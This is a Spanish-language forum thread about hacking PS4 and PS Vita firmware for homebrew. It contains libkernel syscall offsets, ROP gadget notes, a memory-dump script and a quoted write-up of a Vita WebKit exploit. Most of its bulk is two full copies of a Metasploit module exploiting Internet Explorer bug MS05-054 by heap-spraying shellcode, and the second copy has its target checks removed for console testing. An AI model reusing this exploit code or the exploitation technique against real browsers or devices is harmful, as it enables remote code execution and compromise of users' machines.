Takezo wrote:
Nas I found some useful syscall in libkernel
sys_exit = 0xDD50 # + libkernel_base
munmap = 0xC0B0# + libkernel_base
execve = 0xBFF0 # + libkernel_base
Yes i found it with ida pro in my libkernel dump.
CODE: SELECT ALL
ioctl = 0xBF70
getlogin = 0xBF10
fstat = 0xBDD0
fork = 0xB9D0
write = 0xBA10
open = 0xBA30
close = 0xBA50
wait4 = 0xBA70
chroot = 0xC030
mmap = 0xC090
mprotect = 0xC0D0
...
CODE: SELECT ALL
I replaced <body> in ps4.php by
<body onload="btnClick()"> (dump onload)
CODE: SELECT ALL
ps4_rop2.html
makeDumpLink(libkernel_base, chunk, 3, "libkernel_base"); //dump libkernel
makeDumpLink(wk_base+0xB39D7, chunk, 341, "wk_base_offB39D7"); // dump webkit at offset 0xB39D7 (result = dump.bin 37.2 Mo)
function makeDumpLink(offset, sizeDump, nbSeg, nameModule)
{
logAdd("<h2><a href='ps4.php?base=0x" + offset.toString(16) + "&chunk=0x" + sizeDump.toString(16) + "&cnt=0x" + nbSeg.toString(16) + "'>"+nameModule+" "+nbSeg.toString(10) + "</a></h2>");
}
CODE: SELECT ALL
nas gadget_arg:
#pop rdi ret
#pop rsi ret
#call why ???
#pop rcx ret
#pop r8 ret
#pop r9 ret
Takezo
Posts: 6
Joined: Mon Oct 20, 2014 7:05 am
![[sonrisa]](/images/smilies/nuevos/risa_ani1.gif "sonrisa")
So yes, I could finally access the ★Debug Settings on a retail console. But no, we can not use it
Sony learned their lesson and removed the back-end so this is not very useful for us.
Maybe there is a way to unlock it's full potential, but I could not find it, yet.
Here I explained how to start applications by it's TitleID on PS4. This kind of information is very important and I would like to encourage everyone to try it and add your results to the public list of PS4 TitleID's.
Next on my list was to check WebKit. Sure, the stand-alone Internet Browsers WebKit was updated, but what about other applications and games?
Any application listed under the "TV & Video" menu uses a quite old WebKit.
To be more specific:
Mozilla/5.0 (PlayStation 4) AppleWebKit/531.3 (KHTML, like Gecko) SCEE/1.0 Nuanti/2.0
Worth a try for those who want 2.00
Last but not least I made a ridiculous discovery. This one has to do with a memory leak which led me to super interesting data. So far I got around 15MB of compressed but clear-text script data. If you wonder if this is a lot, YES IT IS! In a readable layout this is more than 250.000 lines of code.
Currently I shared this with a hand full of trusted developers to help me mastering this amount. Once we are through it we'll post about it, so stay tuned!
Please remember this was only a quick review which took like 2 hours, surely there's still a lot to find on this firmware
- SKFU
![[fumando]](/images/smilies/nuevos/fumando.gif "fumando")
toni___18 escribió:he añadido una cutre traduccion, de todo lo que dice, me quedo con esto:
Por último, pero no por ello menos importante, hice un descubrimiento . Éste tiene que ver con una pérdida de memoria que me llevó a datos súper interesantes. Hasta el momento me dieron alrededor de 15 MB de datos de secuencias de comandos de texto sin cifrar comprimido, pero, Si usted se pregunta si esto es mucho, sí lo es! En un diseño legible esto es más que 250.000 líneas de código.
![[boing]](/images/smilies/nuevos/pelota_ani1.gif "pelota")
Miguel20 escribió:toni___18 escribió:he añadido una cutre traduccion, de todo lo que dice, me quedo con esto:
Por último, pero no por ello menos importante, hice un descubrimiento . Éste tiene que ver con una pérdida de memoria que me llevó a datos súper interesantes. Hasta el momento me dieron alrededor de 15 MB de datos de secuencias de comandos de texto sin cifrar comprimido, pero, Si usted se pregunta si esto es mucho, sí lo es! En un diseño legible esto es más que 250.000 líneas de código.
y con esto a que quiere llegar?
toni___18 escribió:Miguel20 escribió:toni___18 escribió:he añadido una cutre traduccion, de todo lo que dice, me quedo con esto:
Por último, pero no por ello menos importante, hice un descubrimiento . Éste tiene que ver con una pérdida de memoria que me llevó a datos súper interesantes. Hasta el momento me dieron alrededor de 15 MB de datos de secuencias de comandos de texto sin cifrar comprimido, pero, Si usted se pregunta si esto es mucho, sí lo es! En un diseño legible esto es más que 250.000 líneas de código.
y con esto a que quiere llegar?
no entiendo mucho de esto, pero creo que ha conseguido un volcado de 15 mb sin cifrar
toni___18 escribió:tokao escribió:yo aun estoy en 1.76 si saliese algo saldria para 1.76 no? o lo que estan haciendo es con la fw 2.0?
el tema de las debug settings y el volcado de memoria es en 2.0, pero no se pueden utilizar, la mia tambien esta en 1.76 esperando acontecimientos
a esperar en 1.76 de mientras Miguel20 escribió:Yo tambien estoy en 1.76 or lo que pueda ocurrir y me temo que el unity y pes 2015 lleven la 2.0 y claro no quiero actualizarla no solo por esto del xploit etc..... sino tambien por que da probemas ese firm a la consola.
![[beer]](/images/smilies/nuevos2/brindando.gif "brindis")
THAX escribió:Buenos dias!!!!! Alguna novedad?
Este nuevo crash en PS4 en su ultimo firmware 2.0, a sido reportado por un viejo conocido de la scene de psp, jeerum nos deja este crash en un antiguo xploit de Internet Explorer y un link para que puedan testear el crash, ademas de informacion sobre el para todo aquel que se atreva a trabajar en el.
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution Vulnerability',
'Description' => %q{
This bug is triggered when the browser handles a JavaScript 'onLoad' handler in
conjunction with an improperly initialized 'window()' JavaScript function.
This exploit results in a call to an address lower than the heap. The javascript
prompt() places our shellcode near where the call operand points to. We call
prompt() multiple times in separate iframes to place our return address.
We hide the prompts in a popup window behind the main window. We spray the heap
a second time with our shellcode and point the return address to the heap. I use
a fairly high address to make this exploit more reliable. IE will crash when the
exploit completes. Also, please note that Internet Explorer must allow popups
in order to continue exploitation.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Benjamin Tobias Franz', # Discovery
'Stuart Pearson', # Proof of Concept
'Sam Sharps' # Metasploit port
],
'References' =>
[
['MSB', 'MS05-054'],
['CVE', '2005-1790'],
['URL', 'http://www.securityfocus.com/bid/13799/info'],
['URL', 'http://www.cvedetails.com/cve/CVE-2005-1790'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Internet Explorer 6 on Windows XP', { 'iframes' => 4 } ],
[ 'Internet Explorer 6 Windows 2000', { 'iframes' => 8 } ],
],
'DisclosureDate' => 'Nov 21 2005',
'DefaultTarget' => 0))
end
def exploit
@var_redir = rand_text_alpha(rand(100)+1)
super
end
def auto_target(cli, request)
mytarget = nil
agent = request.headers['User-Agent']
print_status("Checking user agent: #{agent}")
if (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.1/)
mytarget = targets[0] # IE6 on XP
elsif (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.0/)
mytarget = targets[1] # IE6 on 2000
else
print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
end
mytarget
end
def on_request_uri(cli, request)
mytarget = auto_target(cli, request)
var_title = rand_text_alpha(rand(100) + 1)
func_main = rand_text_alpha(rand(100) + 1)
heapspray = ::Rex::Exploitation::JSObfu.new %Q|
function heapspray()
{
shellcode = unescape('#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
var bigblock = unescape("#{Rex::Text.to_unescape(make_nops(4))}");
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 250; i++){ memory[i] = block + shellcode }
var ret = "";
var fillmem = "";
for (i = 0; i < 500; i++)
ret += unescape("%u0F0F%u0F0F");
for (i = 0; i < 200; i++)
fillmem += ret;
prompt(fillmem, "");
}
|
heapspray.obfuscate
nofunc = ::Rex::Exploitation::JSObfu.new %Q|
if (document.location.href.indexOf("#{@var_redir}") == -1)
{
var counter = 0;
top.consoleRef = open('','BlankWindow',
'width=100,height=100'
+',menubar=0'
+',toolbar=1'
+',status=0'
+',scrollbars=0'
+',left=1'
+',top=1'
+',resizable=1')
self.focus()
for (counter = 0; counter < #{mytarget['iframes']}; counter++)
{
top.consoleRef.document.writeln('<iframe width=1 height=1 src='+document.location.href+'?p=#{@var_redir}</iframe>');
}
document.writeln("<body onload=\\"setTimeout('#{func_main}()',6000)\\">");
}
else
{
#{heapspray.sym('heapspray')}();
}
|
nofunc.obfuscate
main = %Q|
function #{func_main}()
{
document.write("<TITLE>#{var_title}</TITLE>");
document.write("<body onload=window();>");
window.location.reload();
}
|
html = %Q|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<html>
<head>
<meta http-equiv="Content-Language" content="en-gb">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<script>
#{nofunc}
#{heapspray}
#{main}
</script>
</head>
<body>
</body>
</html>
|
print_status("Sending #{self.name} to client #{cli.peerhost}")
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
# Handle the payload
handler(cli)
end
end
karryvlc escribió:Que utilidad tiene este crash? Y en que se diferencia de los datos que ya han sacado?
by jeerum » Sun Nov 02, 2014 12:47 pm
Have replicated this, at last
http://hack.ee/hack/PS4/
there is code - little modified to work on ps4 - removed check's
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'MS05-054 Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution',
'Description' => %q{
This bug is triggered when the browser handles a JavaScript 'onLoad' handler in
conjunction with an improperly initialized 'window()' JavaScript function.
This exploit results in a call to an address lower than the heap. The javascript
prompt() places our shellcode near where the call operand points to. We call
prompt() multiple times in separate iframes to place our return address.
We hide the prompts in a popup window behind the main window. We spray the heap
a second time with our shellcode and point the return address to the heap. I use
a fairly high address to make this exploit more reliable. IE will crash when the
exploit completes. Also, please note that Internet Explorer must allow popups
in order to continue exploitation.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Benjamin Tobias Franz', # Discovery
'Stuart Pearson', # Proof of Concept
'Sam Sharps' # Metasploit port
],
'References' =>
[
['MSB', 'MS05-054'],
['CVE', '2005-1790'],
['OSVDB', '17094'],
['BID', '13799'],
['URL', 'http://www.cvedetails.com/cve/CVE-2005-1790'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Internet Explorer 6 on Windows XP', { 'iframes' => 4 } ],
[ 'Internet Explorer 6 Windows 2000', { 'iframes' => 8 } ],
],
'DisclosureDate' => 'Nov 21 2005',
'DefaultTarget' => 0))
end
def exploit
@var_redir = rand_text_alpha(rand(100)+1)
super
end
def auto_target(cli, request)
mytarget = nil
agent = request.headers['User-Agent']
print_status("Checking user agent: #{agent}")
mytarget = targets[0] # IE6 on XP
mytarget
end
def on_request_uri(cli, request)
mytarget = auto_target(cli, request)
var_title = rand_text_alpha(rand(100) + 1)
func_main = rand_text_alpha(rand(100) + 1)
heapspray = ::Rex::Exploitation::JSObfu.new %Q|
function heapspray()
{
shellcode = unescape('#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
var bigblock = unescape("#{Rex::Text.to_unescape(make_nops(4))}");
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 250; i++){ memory[i] = block + shellcode }
var ret = "";
var fillmem = "";
for (i = 0; i < 500; i++)
ret += unescape("%u0F0F%u0F0F");
for (i = 0; i < 200; i++)
fillmem += ret;
prompt(fillmem, "");
}
|
heapspray.obfuscate
nofunc = ::Rex::Exploitation::JSObfu.new %Q|
if (document.location.href.indexOf("#{@var_redir}") == -1)
{
var counter = 0;
top.consoleRef = open('','BlankWindow',
'width=100,height=100'
+',menubar=0'
+',toolbar=1'
+',status=0'
+',scrollbars=0'
+',left=1'
+',top=1'
+',resizable=1')
self.focus()
for (counter = 0; counter < #{mytarget['iframes']}; counter++)
{
top.consoleRef.document.writeln('<iframe width=1 height=1 src='+document.location.href+'?p=#{@var_redir}</iframe>');
}
document.writeln("<body onload=\\"setTimeout('#{func_main}()',6000)\\">");
}
else
{
#{heapspray.sym('heapspray')}();
}
|
nofunc.obfuscate
main = %Q|
function #{func_main}()
{
document.write("<TITLE>#{var_title}</TITLE>");
document.write("<body onload=window();>");
window.location.reload();
}
|
html = %Q|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<html>
<head>
<meta http-equiv="Content-Language" content="en-gb">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<script>
#{nofunc}
#{heapspray}
#{main}
</script>
</head>
<body>
</body>
</html>
|
print_status("Sending #{self.name}")
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
# Handle the payload
handler(cli)
end
end]
UDLP84 escribió:ahí está la trampa de sony, dar por seguro ke todos los juegos van a pedir la última actualización para ke rule en el sistema, asi ke esto lo veo como un intento sin llegar a nada, esperar sentados si os creeis ke va a suceder lo mismo ke con ps3, esta vez Sony tiene bien controlado el tema con la colaboración del FBI
toni___18 escribió:THAX escribió:No hay nada nuevo sobre el exploit ni en 1.76 ni en 2.0, verdad?
1saludo
os dejo un articulo en ingles sobre vita, se que no es ps4 claro está pero el xploit parece ser el mismo no? igual la clave está en fijarse lo que se va haciendo en vita y mirar si se puede sacar algo para ps4To quote via Wololo: This was kind of out of the blue: Developer acez just posted an article on his blog explaining all the details of the Webkit exploit that was recently revealed for the Vita, describing how he and a group of friends worked on a Webkit vulnerability on the Vita, and leveraged it to run native code. It has been explained to me that although this is the same vulnerability that Davee used for his work, the two groups worked completely separately on their exploits.
The read is extremely interesting, and I won't pretend I'm able to summarize it in a way that would do it any justice, so I suggest you just read it.
A cynical summary for people like me who have been in the PSP hacking scene previously would be: "ha, the security on the PSP was a joke, now we're talking". The article truly shows that the exploit was not only about digging for CVEs and quickly and dirtily implement them on the Vita. Between the absence of a debugger, ASLR, sandboxing, no JIT, and other bumps in the road, acez's post clearly explains this was not easy. At all.
From the scene's perspective, it's interesting to see that the main people behind this work (freebot, acez, and John The Ropper) are - as far as I know - not people from the PSP or PS3 scene. They seem to be, however, very, very well seasoned hackers (at least acez seems to be a regular CTF - The hacking ones, not the Quake ones - contestant). The things they pulled off, which I understand where very helpful, behind the scene, to some of the releases we've seen over the past few days, were not an easy thing.
Credits
Johntheropper and freebot worked with acez directly on the exploit. In addition, he credits Yifanlu and Josh_Axey for their help on the Vita, as well as Acid_Snake and Codelion, and everyone else who "made this possible".
Downloads
The exploit and all related work can be found on acez's github. At this point I assume this is more or less the same work that has been released in CodeLion's recent memtools_vita, but it is worth checking it.
CodeLions memtool_vita is essentially based on some of acez's early work. the repository contains webkooz (a basic memory tool on which CodeLion's code is based), and an SDK named akai, which will help people write basic homebrews.
What's next?
Let's hope that the interest of acez, JhonTheRopper, and freebot for the Vita will stay for a while. As mentioned in the blog article, there's still a lot to do: Webkit is sandboxed, and without additional exploits, the scene will not be able to gain "full" native access to the Vita. From a personal point of view though, I would surely be happy to start seeing a simple SDK, and some simple homebrew, in the sandboxed Webkit exploit. Just for the sake of it.
Finally, from acez (via acez.re/ps-vita-level-1-webkitties-3/) to quote: PS Vita Level 1: Webkitties
Introduction
A few weeks ago, a couple of friends and I decided to take a look at the PS Vita in order to see if we could exploit it in any way. Since I didn't really have an idea where to start, I did some research in order to get some information about the Vita. I fell on an interesting blog post which seemed to indicate that looking at Webkit vulnerabilities would be a good start. After getting in touch with the authors of the blog post, they agreed to point me to a vulnerability that was present in the Vita's Webkit module at the time.
This vulnerability is described [Make 2 posts and be registered 2 days to view links] and it includes a proof of concept which makes our lives that much easier. In this blog post, I will describe how freebot, johntheropper (twitter.com/johntheropper) and I were able to exploit this vulnerability and gain code execution on the Vita. The exploit code can be found in the webkitties github repository which provides akai minimal "SDK" which allows to run code on the Vita (with the same privileges as the Webcore process) and webkooz a memory utility which can be used to dump and browse memory.
A Few things about the Vita
The PS Vita runs on a ARMv7 Cortex-A9 processor with a kernel that seems to be completely proprietary. It implements the modern protections such as XN and ASLR and the web browser seems to be sandboxed and WebKit runs in a seperate process different from the browser. To read more about the Vita checkout [Make 2 posts and be registered 2 days to view links] link.
No debugging environment?
For obvious reasons, it was not possible to debug the Vita during the development of the exploit and therefore we had to be creative and come up with ways to do so. What turned out to be very useful for debugging and developping our ROP chain were the bytes \xfe\xe7 which are the opcodes for a Thumb infinite loop instruction. We also used the memory utility provided in the github repository in order dump code, find ROP gadgets, and explore memory to locate shared libraries/modules. A lot of stuff had to be freeballed and done in the dark. We also used the [Make 2 posts and be registered 2 days to view links] web browser with a vulnerable version of Webkit which helped a little.
The exploit
The exploit can be broken down into two main parts. The first one is leveraging the Webkit vulnerability to get arbitrary memory read/write. This step allows us dump memory and get the base addresses of the modules from which we will get ROP gadgets and therefore defeat ASLR. The second one is hijacking the instruction pointer to execute "arbitrary" code through ROP and still be able to return to JavaScript in order to keep the arbitrary memory access obtained in the first part. This allows us to have turing completeness.
Getting Arbitrary Memory Read
The Webkit vulnerability is a heap based buffer overflow in JavaScriptCore JSArray::sort(...) method. When manipulated correctly this overflow can allow us to have an out of bounds read/write. From the proof of concept from [Make 2 posts and be registered 2 days to view links], we are able to get an out of bounds read/write which does half of the job for this step. We then use this primitive to corrupt an ArrayBuffer object's internal data structures to modify the size and base address of the array. The interesting ArrayBuffer structure can be summarized as follows:
[Make 2 posts and be registered 2 days to view code]
We modify the size field to be some very very large number and the base address to be 0. This ArrayBuffer can now read and write from arbitrary locations in memory.
The trick here is that to corrupt the object's internal structure, we need to first find it in memory. We do so by "spraying" the memory with a lot of ArrayBuffers of size 0xABC0 that we keep in a list. We then look for that magic value in memory. Once we find it we modify it and then go through our list of sprayed ArrayBuffers and call the .byteLength method to see which object's size has been modified and therefore get the reference object whose internal data structure we will corrupt. We now have an arbitrary memory read/write primitive.
Arbitrary code execution or JSoS: JavaScript on Steroids
The method used in the packet storm proof of concept takes advantage of the fact JIT is enabled in Safari but unfortunately this is not the case on the PS Vita. We need to figure out a way to execute arbitrary code. Since this is C++, we can just create a fake vtable and replace an object's vtable with our fake vtable. We then call a virtual method to direct execution where we want.
From this point, a typical approach would be to write a ROP chain to map an area of memory as rwx, store our shellcode there and then we are done. But that is not going to happen. The Vita seems to have some serious sandboxing going on and from what I've been told, it is not possible to map areas of memory as executable from the Webkit process.
At this point we started writing a ROP chain that would make the Vita connect to a port and send a message but we quickly realized that this wouldn't be really useful since for every thing we would need to do, we would need to modify the ROP chain or write a whole new one. We then thought of a solution: if we can find a virtual method that takes n arguments, we can just overwrite its vptr with the address of a library function we want to call and now we can call any library function that takes n arguments and still be able to return to the JavaScript.
After some hours of searching for a good candidate virtual method and finally finding one, we realised that our master plan had a fundamental mistake... Since this is C++, when a method is called r0 contains the this pointer so we can't control the contents of r0. Hence, we decided to go another route. We still ROP, but at the beginning of our ROP chain we save all the registers and we restore them at the end. So our ROP chain should look something like the following:
[Make 2 posts and be registered 2 days to view code]
Unfortunately we weren't able to find the gadgets to do that or at least it seemed pretty complicated. After some discussion we realized that some functions in libc did exactly what we needed: setjmp()/longjmp(). So we changed our plans.
setjmp() takes one argument which must be passed in r0 but as stated earlier, we do not control r0 which contains the this pointer at the time we hijack execution. This means that the object gets overwritten with the saved context after we call setjmp() therefore we need to copy the object to some location prior to calling it and then restore afterwards. To summarize the new plan of action:
Find a convenient Javascript object to corrupt to gain code execution.
Save the object's data to some static location saved_object.
Overwrite a vptr of the virtual methods of the object with the address of setjmp().
Call setjmp() and copy the context to some static location saved_context.
Restore the object from saved_object.
Overwrite the vptr again with our ROP stuff which sets up r0-r3 and calls a function and after the function returns, calls longjmp(saved_context) to restore the context and return to JavaScript.
For the first point, our choice for the object was lead by three criteria:
the method should be virtual, since non-virtual methods don't have an entry in the virtual table;
the method parameters should be a basic type such as an integer or a float; in this way we can control the value of the register used for that parameter directly and completely;
the object should be easy to find by scanning memory;
To find an appropriate method we grep'd through all the IDL files (which define an interface between JavaScript and C++ object) looking for methods taking integers, and then checking in the corresponding header file if it was virtual or not. A good candidate was the [Make 2 posts and be registered 2 days to view links] attribute of the DOM Element class, which is an integer and its [Make 2 posts and be registered 2 days to view links] is virtual.
Therefore, we could control the r1 register (r0 was reserved for the this implicit argument). We also considered the SVGPathConsumer.arcTo method, which would allow to control way more register, however, for reasons we didn't investigate, in our test browser environment all the parameters were going on the stack.
To invoke setScrollLeft we just have to set the scrollLeft attribute of an HTML element, for instance:
[Make 2 posts and be registered 2 days to view code]
However finding a span element scanning the memory is not straightforward. Therefore we looked for an object, inheriting from the Element class, easy to identify and in particular having in the data of the class an integer value we can set from JavaScript to an easily recognizible value. Sadly, this was not the case for the scrollLeft itself, whose value is not [Make 2 posts and be registered 2 days to view links] in the class data. After a bit of digging we found that a good candidate was the [Make 2 posts and be registered 2 days to view links] in HTMLTextAreaElement, which is [Make 2 posts and be registered 2 days to view links] as a member of the class.
As in the method used in the first step, we create a series of < textarea > elements, we set the number of rows to a recognizible value (through textarea.rows = 0x65646362) and then start to scan memory. When we find one of them, we change the value of the rows field by directly accessing memory to another value, then we scan the list of textareas we created and find the one with a different number of rows: that's our guy.
In the end, the exploit allows us to do things such as:
[Make 2 posts and be registered 2 days to view code]
For more details, check out the github repo.
Conclusions
This exploit allows us to have a testing framework / SDK that can be used to aid in reversing modules and testing to find more interesting vulnerabilities. You shouldn't confuse this exploit for what it is not. It is not a hack that allows you to run whatever you want on the Vita and is limited to the privileges of the Webkit process.
Our next move will be to look at the Vita some more to try and figure out if we can exploit anything that has higher privileges than the Webkit process. A lot of work still needs to be done.
Thanks
johntheropper (twitter.com/johntheropper) and freebot for working with me on this exploit. yifanlu (twitter.com/yifanlu) for being my documentation and answering any question I had about the Vita, Josh Axey (twitter.com/Josh_Axey) for helping me learn about the Vita and test the exploits. acid_snake, codelion and anybody else I might have forgotten and who made this possible.
. La parte buena es que seguramente ese otro exploit sirva en versiones posteriores, pero claro esto es solo lo que saco a entender de un vistazo rapido a esa noticia; si no es así que me corrija alguien. 